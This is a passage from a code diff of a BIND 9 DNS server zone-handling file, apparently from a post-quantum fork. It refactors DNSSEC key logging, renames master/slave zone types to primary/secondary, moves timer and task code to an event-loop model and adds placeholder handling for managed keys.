+		    (dnskey.algorithm == DNS_KEYALG_RSAMD5 ||
+		     dnskey.algorithm == DNS_KEYALG_RSASHA1 ||
+		     dnskey.algorithm == DNS_KEYALG_NSEC3RSASHA1 ||
+		     dnskey.algorithm == DNS_KEYALG_RSASHA256 ||
+		     dnskey.algorithm == DNS_KEYALG_RSASHA512))
+		{
+			char algorithm[DNS_SECALG_FORMATSIZE];
 			isc_region_t r;
-			bool logit = true;
 
 			dns_rdata_toregion(&rdata, &r);
+			dns_secalg_format(dnskey.algorithm, algorithm,
+					  sizeof(algorithm));
 
-			switch (dnskey.algorithm) {
-			case DNS_KEYALG_RSAMD5:
-				algorithm = "RSAMD5";
-				break;
-			case DNS_KEYALG_RSASHA1:
-				algorithm = "RSASHA1";
-				break;
-			case DNS_KEYALG_NSEC3RSASHA1:
-				algorithm = "NSEC3RSASHA1";
-				break;
-			case DNS_KEYALG_RSASHA256:
-				algorithm = "RSASHA236";
-				break;
-			case DNS_KEYALG_RSASHA512:
-				algorithm = "RSASHA512";
-				break;
-			default:
-				logit = false;
-				break;
-			}
-
-			if (logit) {
-				dnssec_log(zone, ISC_LOG_WARNING,
-					   "weak %s (%u) key found "
-					   "(exponent=3, id=%u)",
-					   algorithm, dnskey.algorithm,
-					   dst_region_computeid(&r));
-			}
+			dnssec_log(zone, ISC_LOG_WARNING,
+				   "weak %s (%u) key found (exponent=3, id=%u)",
+				   algorithm, dnskey.algorithm,
+				   dst_region_computeid(&r));
 		}
 		dns_rdata_reset(&rdata);
 	}
@@ -3517,7 +3491,8 @@ resume_signingwithkey(dns_zone_t *zone) {
 	{
 		dns_rdataset_current(&rdataset, &rdata);
 		if (rdata.length != 5 || rdata.data[0] == 0 ||
-		    rdata.data[4] != 0) {
+		    rdata.data[4] != 0)
+		{
 			dns_rdata_reset(&rdata);
 			continue;
 		}
@@ -3528,7 +3503,7 @@ resume_signingwithkey(dns_zone_t *zone) {
 		if (result != ISC_R_SUCCESS) {
 			dnssec_log(zone, ISC_LOG_ERROR,
 				   "zone_signwithkey failed: %s",
-				   dns_result_totext(result));
+				   isc_result_totext(result));
 		}
 		dns_rdata_reset(&rdata);
 	}
@@ -3581,7 +3556,7 @@ zone_addnsec3chain(dns_zone_t *zone, dns_rdata_nsec3param_t *nsec3param) {
 	 * latter to exist in the first place.
 	 */
 	dns_db_currentversion(db, &version);
-	result = dns_nsec_nseconly(db, version, &nseconly);
+	result = dns_nsec_nseconly(db, version, NULL, &nseconly);
 	nsec3ok = (result == ISC_R_SUCCESS && !nseconly);
 	dns_db_closeversion(db, &version, false);
 	if (!nsec3ok && (nsec3param->flags & DNS_NSEC3FLAG_REMOVE) == 0) {
@@ -3705,9 +3680,9 @@ zone_addnsec3chain(dns_zone_t *zone, dns_rdata_nsec3param_t *nsec3param) {
 		ISC_LIST_INITANDAPPEND(zone->nsec3chain, nsec3chain, link);
 		nsec3chain = NULL;
 		if (isc_time_isepoch(&zone->nsec3chaintime)) {
-			TIME_NOW(&now);
+			now = isc_time_now();
 			zone->nsec3chaintime = now;
-			if (zone->task != NULL) {
+			if (zone->loop != NULL) {
 				zone_settimer(zone, &now);
 			}
 		}
@@ -3773,7 +3748,7 @@ resume_addnsec3chain(dns_zone_t *zone) {
 	 * In order to create NSEC3 chains we need the DNSKEY RRset at zone
 	 * apex to exist and contain no keys using NSEC-only algorithms.
 	 */
-	result = dns_nsec_nseconly(db, version, &nseconly);
+	result = dns_nsec_nseconly(db, version, NULL, &nseconly);
 	nsec3ok = (result == ISC_R_SUCCESS && !nseconly);
 
 	/*
@@ -3801,7 +3776,8 @@ resume_addnsec3chain(dns_zone_t *zone) {
 		 * represent an NSEC3PARAM record, so skip it.
 		 */
 		if (!dns_nsec3param_fromprivate(&private, &rdata, buf,
-						sizeof(buf))) {
+						sizeof(buf)))
+		{
 			continue;
 		}
 		result = dns_rdata_tostruct(&rdata, &nsec3param, NULL);
@@ -3818,7 +3794,7 @@ resume_addnsec3chain(dns_zone_t *zone) {
 			if (result != ISC_R_SUCCESS) {
 				dnssec_log(zone, ISC_LOG_ERROR,
 					   "zone_addnsec3chain failed: %s",
-					   dns_result_totext(result));
+					   isc_result_totext(result));
 			}
 		}
 	}
@@ -3853,7 +3829,7 @@ set_resigntime(dns_zone_t *zone) {
 	}
 
 	if (!inline_secure(zone) &&
-	    (zone->type != dns_zone_master ||
+	    (zone->type != dns_zone_primary ||
 	     (zone->ssutable == NULL &&
 	      (zone->update_acl == NULL || dns_acl_isnone(zone->update_acl)))))
 	{
@@ -3898,7 +3874,7 @@ check_nsec3param(dns_zone_t *zone, dns_db_t *db) {
 	dns_rdata_nsec3param_t nsec3param;
 	dns_rdataset_t rdataset;
 	isc_result_t result;
-	bool dynamic = (zone->type == dns_zone_master)
+	bool dynamic = (zone->type == dns_zone_primary)
 			       ? dns_zone_isdynamic(zone, false)
 			       : false;
 
@@ -3907,7 +3883,7 @@ check_nsec3param(dns_zone_t *zone, dns_db_t *db) {
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_ERROR,
 			     "nsec3param lookup failure: %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		return (result);
 	}
 	dns_db_currentversion(db, &version);
@@ -3924,7 +3900,7 @@ check_nsec3param(dns_zone_t *zone, dns_db_t *db) {
 		INSIST(!dns_rdataset_isassociated(&rdataset));
 		dns_zone_log(zone, ISC_LOG_ERROR,
 			     "nsec3param lookup failure: %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		goto cleanup;
 	}
 
@@ -4008,7 +3984,6 @@ check_nsec3param(dns_zone_t *zone, dns_db_t *db) {
 static void
 set_refreshkeytimer(dns_zone_t *zone, dns_rdata_keydata_t *key,
 		    isc_stdtime_t now, bool force) {
-	const char me[] = "set_refreshkeytimer";
 	isc_stdtime_t then;
 	isc_time_t timenow, timethen;
 	char timebuf[80];
@@ -4025,7 +4000,7 @@ set_refreshkeytimer(dns_zone_t *zone, dns_rdata_keydata_t *key,
 		then = key->removehd;
 	}
 
-	TIME_NOW(&timenow);
+	timenow = isc_time_now();
 	if (then > now) {
 		DNS_ZONE_TIME_ADD(&timenow, then - now, &timethen);
 	} else {
@@ -4055,19 +4030,17 @@ static isc_result_t
 create_keydata(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
 	       dns_diff_t *diff, dns_keynode_t *keynode, dns_name_t *keyname,
 	       bool *changed) {
-	const char me[] = "create_keydata";
 	isc_result_t result = ISC_R_SUCCESS;
 	dns_rdata_t rdata = DNS_RDATA_INIT;
 	dns_rdata_keydata_t kd;
 	// OQS updated from 4096 to 8192
 	unsigned char rrdata[8192];
 	isc_buffer_t rrdatabuf;
-	isc_stdtime_t now;
+	isc_stdtime_t now = isc_stdtime_now();
 
 	REQUIRE(keynode != NULL);
 
 	ENTER;
-	isc_stdtime_get(&now);
 
 	/*
 	 * If the keynode has no trust anchor set, we shouldn't be here.
@@ -4149,6 +4122,23 @@ compute_tag(dns_name_t *name, dns_rdata_dnskey_t *dnskey, isc_mem_t *mctx,
 	return (result);
 }
 
+/*
+ * Synth-from-dnssec callbacks to add/delete names from namespace tree.
+ */
+static void
+sfd_add(const dns_name_t *name, void *arg) {
+	if (arg != NULL) {
+		dns_view_sfd_add(arg, name);
+	}
+}
+
+static void
+sfd_del(const dns_name_t *name, void *arg) {
+	if (arg != NULL) {
+		dns_view_sfd_del(arg, name);
+	}
+}
+
 /*
  * Add key to the security roots.
  */
@@ -4174,7 +4164,8 @@ trust_key(dns_zone_t *zone, dns_name_t *keyname, dns_rdata_dnskey_t *dnskey,
 			     dns_rdatatype_dnskey, dnskey, &buffer);
 	CHECK(dns_ds_fromkeyrdata(keyname, &rdata, DNS_DSDIGEST_SHA256, digest,
 				  &ds));
-	CHECK(dns_keytable_add(sr, true, initial, keyname, &ds));
+	CHECK(dns_keytable_add(sr, true, initial, keyname, &ds, sfd_add,
+			       zone->view));
 
 	dns_keytable_detach(&sr);
 
@@ -4212,14 +4203,12 @@ load_secroots(dns_zone_t *zone, dns_name_t *name, dns_rdataset_t *rdataset) {
 	dns_rdata_keydata_t keydata;
 	dns_rdata_dnskey_t dnskey;
 	int trusted = 0, revoked = 0, pending = 0;
-	isc_stdtime_t now;
+	isc_stdtime_t now = isc_stdtime_now();
 	dns_keytable_t *sr = NULL;
 
-	isc_stdtime_get(&now);
-
 	result = dns_view_getsecroots(zone->view, &sr);
 	if (result == ISC_R_SUCCESS) {
-		dns_keytable_delete(sr, name);
+		dns_keytable_delete(sr, name, sfd_del, zone->view);
 		dns_keytable_detach(&sr);
 	}
 
@@ -4232,7 +4221,7 @@ load_secroots(dns_zone_t *zone, dns_name_t *name, dns_rdataset_t *rdataset) {
 
 		/* Convert rdata to keydata. */
 		result = dns_rdata_tostruct(&rdata, &keydata, NULL);
-		if (result == ISC_R_UNEXPECTEDEND) {
+		if (result == ISC_R_NOTIMPLEMENTED) {
 			continue;
 		}
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
@@ -4367,7 +4356,6 @@ update_soa_serial(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
 static isc_result_t
 zone_journal(dns_zone_t *zone, dns_diff_t *diff, uint32_t *sourceserial,
 	     const char *caller) {
-	const char me[] = "zone_journal";
 	const char *journalfile;
 	isc_result_t result = ISC_R_SUCCESS;
 	dns_journal_t *journal = NULL;
@@ -4381,7 +4369,7 @@ zone_journal(dns_zone_t *zone, dns_diff_t *diff, uint32_t *sourceserial,
 		if (result != ISC_R_SUCCESS) {
 			dns_zone_log(zone, ISC_LOG_ERROR,
 				     "%s:dns_journal_open -> %s", caller,
-				     dns_result_totext(result));
+				     isc_result_totext(result));
 			return (result);
 		}
 
@@ -4393,7 +4381,7 @@ zone_journal(dns_zone_t *zone, dns_diff_t *diff, uint32_t *sourceserial,
 		if (result != ISC_R_SUCCESS) {
 			dns_zone_log(zone, ISC_LOG_ERROR,
 				     "%s:dns_journal_write_transaction -> %s",
-				     caller, dns_result_totext(result));
+				     caller, isc_result_totext(result));
 		}
 		dns_journal_destroy(&journal);
 	}
@@ -4419,7 +4407,7 @@ add_soa(dns_zone_t *zone, dns_db_t *db) {
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_ERROR,
 			     "add_soa:dns_db_newversion -> %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		goto failure;
 	}
 
@@ -4429,7 +4417,7 @@ add_soa(dns_zone_t *zone, dns_db_t *db) {
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_ERROR,
 			     "add_soa:dns_soa_buildrdata -> %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		goto failure;
 	}
 
@@ -4539,7 +4527,7 @@ sync_keyzone(dns_zone_t *zone, dns_db_t *db) {
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "sync_keyzone:dns_db_newversion -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto failure;
 	}
 
@@ -4555,6 +4543,10 @@ sync_keyzone(dns_zone_t *zone, dns_db_t *db) {
 	     result = dns_rriterator_nextrrset(&rrit))
 	{
 		dns_rdataset_t *rdataset = NULL;
+		dns_rdata_t rdata = DNS_RDATA_INIT;
+		dns_rdata_keydata_t keydata;
+		isc_stdtime_t now = isc_stdtime_now();
+		bool load = true;
 		dns_name_t *rrname = NULL;
 		uint32_t ttl;
 
@@ -4567,6 +4559,31 @@ sync_keyzone(dns_zone_t *zone, dns_db_t *db) {
 		if (rdataset->type != dns_rdatatype_keydata) {
 			continue;
 		}
+
+		/*
+		 * The managed-keys zone can contain a placeholder instead of
+		 * legitimate data, in which case we will not use it, and we
+		 * will try to refresh it.
+		 */
+		for (result = dns_rdataset_first(rdataset);
+		     result == ISC_R_SUCCESS;
+		     result = dns_rdataset_next(rdataset))
+		{
+			isc_result_t iresult;
+
+			dns_rdata_reset(&rdata);
+			dns_rdataset_current(rdataset, &rdata);
+
+			iresult = dns_rdata_tostruct(&rdata, &keydata, NULL);
+			/* Do we have a valid placeholder KEYDATA record? */
+			if (iresult == ISC_R_SUCCESS && keydata.flags == 0 &&
+			    keydata.protocol == 0 && keydata.algorithm == 0)
+			{
+				set_refreshkeytimer(zone, &keydata, now, true);
+				load = false;
+			}
+		}
+
 		/*
 		 * Release db wrlock to prevent LOR reports against
 		 * dns_keytable_forall() call below.
@@ -4576,12 +4593,12 @@ sync_keyzone(dns_zone_t *zone, dns_db_t *db) {
 		if (result != ISC_R_SUCCESS || !dns_keynode_managed(keynode)) {
 			CHECK(delete_keydata(db, ver, &diff, rrname, rdataset));
 			changed = true;
-		} else {
+		} else if (load) {
 			load_secroots(zone, rrname, rdataset);
 		}
 
 		if (keynode != NULL) {
-			dns_keytable_detachkeynode(sr, &keynode);
+			dns_keynode_detach(&keynode);
 		}
 	}
 	dns_rriterator_destroy(&rrit);
@@ -4612,15 +4629,14 @@ sync_keyzone(dns_zone_t *zone, dns_db_t *db) {
 	}
 
 failure:
-	if (result != ISC_R_SUCCESS && !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_LOADED))
-	{
+	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "unable to synchronize managed keys: %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		isc_time_settoepoch(&zone->refreshkeytime);
 	}
 	if (keynode != NULL) {
-		dns_keytable_detachkeynode(sr, &keynode);
+		dns_keynode_detach(&keynode);
 	}
 	if (sr != NULL) {
 		dns_keytable_detach(&sr);
@@ -4704,6 +4720,16 @@ zone_unchanged(dns_db_t *db1, dns_db_t *db2, isc_mem_t *mctx) {
 	return (answer);
 }
 
+static void
+process_zone_setnsec3param(dns_zone_t *zone) {
+	struct np3 *npe = NULL;
+	while ((npe = ISC_LIST_HEAD(zone->setnsec3param_queue)) != NULL) {
+		ISC_LIST_UNLINK(zone->setnsec3param_queue, npe, link);
+		zone_iattach(zone, &npe->zone);
+		isc_async_run(zone->loop, setnsec3param, npe);
+	}
+}
+
 /*
  * The zone is presumed to be locked.
  * If this is a inline_raw zone the secure version is also locked.
@@ -4719,7 +4745,7 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 	bool needdump = false;
 	bool fixjournal = false;
 	bool hasinclude = DNS_ZONE_FLAG(zone, DNS_ZONEFLG_HASINCLUDE);
-	bool nomaster = false;
+	bool noprimary = false;
 	bool had_db = false;
 	dns_include_t *inc;
 	bool is_dynamic = false;
@@ -4729,7 +4755,7 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 		INSIST(LOCKED_ZONE(zone->secure));
 	}
 
-	TIME_NOW(&now);
+	now = isc_time_now();
 
 	/*
 	 * Initiate zone transfer?  We may need a error code that
@@ -4737,10 +4763,11 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 	 * XXX better error feedback to log.
 	 */
 	if (result != ISC_R_SUCCESS && result != DNS_R_SEENINCLUDE) {
-		if (zone->type == dns_zone_slave ||
+		if (zone->type == dns_zone_secondary ||
 		    zone->type == dns_zone_mirror ||
 		    zone->type == dns_zone_stub ||
-		    (zone->type == dns_zone_redirect && zone->masters == NULL))
+		    (zone->type == dns_zone_redirect &&
+		     dns_remote_addresses(&zone->primaries) == NULL))
 		{
 			if (result == ISC_R_FILENOTFOUND) {
 				dns_zone_logc(zone, DNS_LOGCATEGORY_ZONELOAD,
@@ -4752,9 +4779,9 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 					      "loading from master file %s "
 					      "failed: %s",
 					      zone->masterfile,
-					      dns_result_totext(result));
+					      isc_result_totext(result));
 			}
-		} else if (zone->type == dns_zone_master &&
+		} else if (zone->type == dns_zone_primary &&
 			   inline_secure(zone) && result == ISC_R_FILENOTFOUND)
 		{
 			dns_zone_logc(zone, DNS_LOGCATEGORY_ZONELOAD,
@@ -4764,14 +4791,15 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 		} else {
 			int level = ISC_LOG_ERROR;
 			if (zone->type == dns_zone_key &&
-			    result == ISC_R_FILENOTFOUND) {
+			    result == ISC_R_FILENOTFOUND)
+			{
 				level = ISC_LOG_DEBUG(1);
 			}
 			dns_zone_logc(zone, DNS_LOGCATEGORY_ZONELOAD, level,
 				      "loading from master file %s failed: %s",
 				      zone->masterfile,
-				      dns_result_totext(result));
-			nomaster = true;
+				      isc_result_totext(result));
+			noprimary = true;
 		}
 
 		if (zone->type != dns_zone_key) {
@@ -4780,7 +4808,8 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 	}
 
 	dns_zone_logc(zone, DNS_LOGCATEGORY_ZONELOAD, ISC_LOG_DEBUG(2),
-		      "number of nodes in database: %u", dns_db_nodecount(db));
+		      "number of nodes in database: %u",
+		      dns_db_nodecount(db, dns_dbtree_main));
 
 	if (result == DNS_R_SEENINCLUDE) {
 		DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_HASINCLUDE);
@@ -4794,7 +4823,7 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 	 * if there happens to be a journal file, we can roll forward from
 	 * a sane starting point.)
 	 */
-	if (nomaster && zone->type == dns_zone_key) {
+	if (noprimary && zone->type == dns_zone_key) {
 		result = add_soa(zone, db);
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup;
@@ -4834,18 +4863,7 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 	 */
 	is_dynamic = dns_zone_isdynamic(zone, true);
 	if (is_dynamic) {
-		isc_event_t *setnsec3param_event;
-		dns_zone_t *dummy;
-
-		while (!ISC_LIST_EMPTY(zone->setnsec3param_queue)) {
-			setnsec3param_event =
-				ISC_LIST_HEAD(zone->setnsec3param_queue);
-			ISC_LIST_UNLINK(zone->setnsec3param_queue,
-					setnsec3param_event, ev_link);
-			dummy = NULL;
-			zone_iattach(zone, &dummy);
-			isc_task_send(zone->task, &setnsec3param_event);
-		}
+		process_zone_setnsec3param(zone);
 	}
 
 	/*
@@ -4895,14 +4913,14 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 		      "loaded; checking validity");
 
 	/*
-	 * Master / Slave / Mirror / Stub zones require both NS and SOA records
-	 * at the top of the zone.
+	 * Primary / Secondary / Mirror / Stub zones require both NS and SOA
+	 * records at the top of the zone.
 	 */
 
 	switch (zone->type) {
 	case dns_zone_dlz:
-	case dns_zone_master:
-	case dns_zone_slave:
+	case dns_zone_primary:
+	case dns_zone_secondary:
 	case dns_zone_mirror:
 	case dns_zone_stub:
 	case dns_zone_redirect:
@@ -4920,25 +4938,26 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup;
 		}
-		if (zone->type == dns_zone_master && errors != 0) {
+		if (zone->type == dns_zone_primary && errors != 0) {
 			result = DNS_R_BADZONE;
 			goto cleanup;
 		}
 		if (zone->type != dns_zone_stub &&
-		    zone->type != dns_zone_redirect) {
+		    zone->type != dns_zone_redirect)
+		{
 			result = check_nsec3param(zone, db);
 			if (result != ISC_R_SUCCESS) {
 				goto cleanup;
 			}
 		}
-		if (zone->type == dns_zone_master &&
+		if (zone->type == dns_zone_primary &&
 		    DNS_ZONE_OPTION(zone, DNS_ZONEOPT_CHECKINTEGRITY) &&
 		    !integrity_checks(zone, db))
 		{
 			result = DNS_R_BADZONE;
 			goto cleanup;
 		}
-		if (zone->type == dns_zone_master &&
+		if (zone->type == dns_zone_primary &&
 		    DNS_ZONE_OPTION(zone, DNS_ZONEOPT_CHECKDUPRR) &&
 		    !zone_check_dup(zone, db))
 		{
@@ -4946,7 +4965,7 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 			goto cleanup;
 		}
 
-		if (zone->type == dns_zone_master) {
+		if (zone->type == dns_zone_primary) {
 			result = dns_zone_cdscheck(zone, db, NULL);
 			if (result != ISC_R_SUCCESS) {
 				dns_zone_log(zone, ISC_LOG_ERROR,
@@ -4965,8 +4984,8 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 			unsigned int oldsoacount;
 
 			/*
-			 * This is checked in zone_replacedb() for slave zones
-			 * as they don't reload from disk.
+			 * This is checked in zone_replacedb() for
+			 * secondary zones as they don't reload from disk.
 			 */
 			result = zone_get_from_db(
 				zone, zone->db, NULL, &oldsoacount, NULL,
@@ -4978,16 +4997,18 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 			{
 				uint32_t serialmin, serialmax;
 
-				INSIST(zone->type == dns_zone_master);
+				INSIST(zone->type == dns_zone_primary);
 				INSIST(zone->raw == NULL);
 
 				if (serial == oldserial &&
-				    zone_unchanged(zone->db, db, zone->mctx)) {
+				    zone_unchanged(zone->db, db, zone->mctx))
+				{
 					dns_zone_logc(zone,
 						      DNS_LOGCATEGORY_ZONELOAD,
 						      ISC_LOG_INFO,
 						      "ixfr-from-differences: "
 						      "unchanged");
+					zone->loadtime = loadtime;
 					goto done;
 				}
 
@@ -5015,12 +5036,12 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 					      ISC_LOG_ERROR,
 					      "zone serial (%u) unchanged. "
 					      "zone may fail to transfer "
-					      "to slaves.",
+					      "to secondaries.",
 					      serial);
 			}
 		}
 
-		if (zone->type == dns_zone_master &&
+		if (zone->type == dns_zone_primary &&
 		    (zone->update_acl != NULL || zone->ssutable != NULL) &&
 		    dns_zone_getsigresigninginterval(zone) < (3 * refresh) &&
 		    dns_db_issecure(db))
@@ -5040,10 +5061,11 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 		zone->minimum = minimum;
 		DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_HAVETIMERS);
 
-		if (zone->type == dns_zone_slave ||
+		if (zone->type == dns_zone_secondary ||
 		    zone->type == dns_zone_mirror ||
 		    zone->type == dns_zone_stub ||
-		    (zone->type == dns_zone_redirect && zone->masters != NULL))
+		    (zone->type == dns_zone_redirect &&
+		     dns_remote_addresses(&zone->primaries) != NULL))
 		{
 			isc_time_t t;
 			uint32_t delay;
@@ -5065,7 +5087,8 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 				 isc_random_uniform((zone->retry * 3) / 4));
 			DNS_ZONE_TIME_ADD(&now, delay, &zone->refreshtime);
 			if (isc_time_compare(&zone->refreshtime,
-					     &zone->expiretime) >= 0) {
+					     &zone->expiretime) >= 0)
+			{
 				zone->refreshtime = now;
 			}
 		}
@@ -5073,15 +5096,11 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 		break;
 
 	case dns_zone_key:
-		result = sync_keyzone(zone, db);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
+		/* Nothing needs to be done now */
 		break;
 
 	default:
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "unexpected zone type %d",
-				 zone->type);
+		UNEXPECTED_ERROR("unexpected zone type %d", zone->type);
 		result = ISC_R_UNEXPECTED;
 		goto cleanup;
 	}
@@ -5089,14 +5108,14 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 	/*
 	 * Check for weak DNSKEY's.
 	 */
-	if (zone->type == dns_zone_master) {
+	if (zone->type == dns_zone_primary) {
 		zone_check_dnskeys(zone, db);
 	}
 
 	/*
 	 * Schedule DNSSEC key refresh.
 	 */
-	if (zone->type == dns_zone_master &&
+	if (zone->type == dns_zone_primary &&
 	    DNS_ZONEKEY_OPTION(zone, DNS_ZONEKEY_MAINTAIN))
 	{
 		zone->refreshkeytime = now;
@@ -5116,7 +5135,8 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 		DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_LOADED |
 					       DNS_ZONEFLG_NEEDSTARTUPNOTIFY);
 		if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_SENDSECURE) &&
-		    inline_raw(zone)) {
+		    inline_raw(zone))
+		{
 			if (zone->secure->db == NULL) {
 				zone_send_securedb(zone, db);
 			} else {
@@ -5129,7 +5149,7 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 	 * Finished loading inline-signing zone; need to get status
 	 * from the raw side now.
 	 */
-	if (zone->type == dns_zone_master && inline_secure(zone)) {
+	if (zone->type == dns_zone_primary && inline_secure(zone)) {
 		maybe_send_secure(zone);
 	}
 
@@ -5147,17 +5167,16 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 		}
 	}
 
-	if (zone->task != NULL) {
-		if (zone->type == dns_zone_master) {
+	if (zone->loop != NULL) {
+		if (zone->type == dns_zone_primary) {
 			set_resigntime(zone);
 			resume_signingwithkey(zone);
 			resume_addnsec3chain(zone);
 		}
 
 		is_dynamic = dns_zone_isdynamic(zone, false);
-		if (zone->type == dns_zone_master &&
-		    !DNS_ZONEKEY_OPTION(zone, DNS_ZONEKEY_NORESIGN) &&
-		    is_dynamic && dns_db_issecure(db))
+		if (zone->type == dns_zone_primary && is_dynamic &&
+		    dns_db_issecure(db))
 		{
 			dns_name_t *name;
 			dns_fixedname_t fixed;
@@ -5168,11 +5187,10 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 
 			result = dns_db_getsigningtime(db, &next, name);
 			if (result == ISC_R_SUCCESS) {
-				isc_stdtime_t timenow;
+				isc_stdtime_t timenow = isc_stdtime_now();
 				char namebuf[DNS_NAME_FORMATSIZE];
 				char typebuf[DNS_RDATATYPE_FORMATSIZE];
 
-				isc_stdtime_get(&timenow);
 				dns_name_format(name, namebuf, sizeof(namebuf));
 				dns_rdatatype_format(next.covers, typebuf,
 						     sizeof(typebuf));
@@ -5233,11 +5251,9 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 	goto done;
 
 cleanup:
-	if (zone->type == dns_zone_key && result != ISC_R_SUCCESS) {
-		dnssec_log(zone, ISC_LOG_ERROR,
-			   "failed to initialize managed-keys (%s): "
-			   "DNSSEC validation is at risk",
-			   isc_result_totext(result));
+	if (result != ISC_R_SUCCESS) {
+		dns_zone_rpz_disable_db(zone, db);
+		dns_zone_catz_disable_db(zone, db);
 	}
 
 	for (inc = ISC_LIST_HEAD(zone->newincludes); inc != NULL;
@@ -5247,9 +5263,10 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 		isc_mem_free(zone->mctx, inc->name);
 		isc_mem_put(zone->mctx, inc, sizeof(*inc));
 	}
-	if (zone->type == dns_zone_slave || zone->type == dns_zone_mirror ||
+	if (zone->type == dns_zone_secondary || zone->type == dns_zone_mirror ||
 	    zone->type == dns_zone_stub || zone->type == dns_zone_key ||
-	    (zone->type == dns_zone_redirect && zone->masters != NULL))
+	    (zone->type == dns_zone_redirect &&
+	     dns_remote_addresses(&zone->primaries) != NULL))
 	{
 		if (result != ISC_R_NOMEMORY) {
 			if (zone->journal != NULL) {
@@ -5264,17 +5281,18 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 
 		/* Mark the zone for immediate refresh. */
 		zone->refreshtime = now;
-		if (zone->task != NULL) {
+		if (zone->loop != NULL) {
 			zone_settimer(zone, &now);
 		}
 		result = ISC_R_SUCCESS;
-	} else if (zone->type == dns_zone_master ||
-		   zone->type == dns_zone_redirect) {
+	} else if (zone->type == dns_zone_primary ||
+		   zone->type == dns_zone_redirect)
+	{
 		if (!(inline_secure(zone) && result == ISC_R_FILENOTFOUND)) {
 			dns_zone_logc(zone, DNS_LOGCATEGORY_ZONELOAD,
 				      ISC_LOG_ERROR,
 				      "not loaded due to errors.");
-		} else if (zone->type == dns_zone_master) {
+		} else if (zone->type == dns_zone_primary) {
 			result = ISC_R_SUCCESS;
 		}
 	}
@@ -5298,12 +5316,12 @@ zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 		 * due to DNS_ZONEFLG_LOADPENDING being set when
 		 * zone_maintenance was called.
 		 */
-		if (zone->secure->task != NULL) {
+		if (zone->secure->loop != NULL) {
 			zone_settimer(zone->secure, &now);
 		}
 	}
 
-	zone_debuglog(zone, "zone_postload", 99, "done");
+	zone_debuglog(zone, __func__, 99, "done");
 
 	return (result);
 }
@@ -5316,9 +5334,9 @@ exit_check(dns_zone_t *zone) {
 	    isc_refcount_current(&zone->irefs) == 0)
 	{
 		/*
-		 * DNS_ZONEFLG_SHUTDOWN can only be set if erefs == 0.
+		 * DNS_ZONEFLG_SHUTDOWN can only be set if references == 0.
 		 */
-		INSIST(isc_refcount_current(&zone->erefs) == 0);
+		INSIST(isc_refcount_current(&zone->references) == 0);
 		return (true);
 	}
 	return (false);
@@ -5338,7 +5356,7 @@ zone_check_ns(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *version,
 		return (true);
 	}
 
-	if (zone->type == dns_zone_master) {
+	if (zone->type == dns_zone_primary) {
 		level = ISC_LOG_ERROR;
 	} else {
 		level = ISC_LOG_WARNING;
@@ -5425,8 +5443,8 @@ zone_count_ns_rr(dns_zone_t *zone, dns_db_t *db, dns_dbnode_t *node,
 	result = dns_rdataset_first(&rdataset);
 	while (result == ISC_R_SUCCESS) {
 		if (errors != NULL && zone->rdclass == dns_rdataclass_in &&
-		    (zone->type == dns_zone_master ||
-		     zone->type == dns_zone_slave ||
+		    (zone->type == dns_zone_primary ||
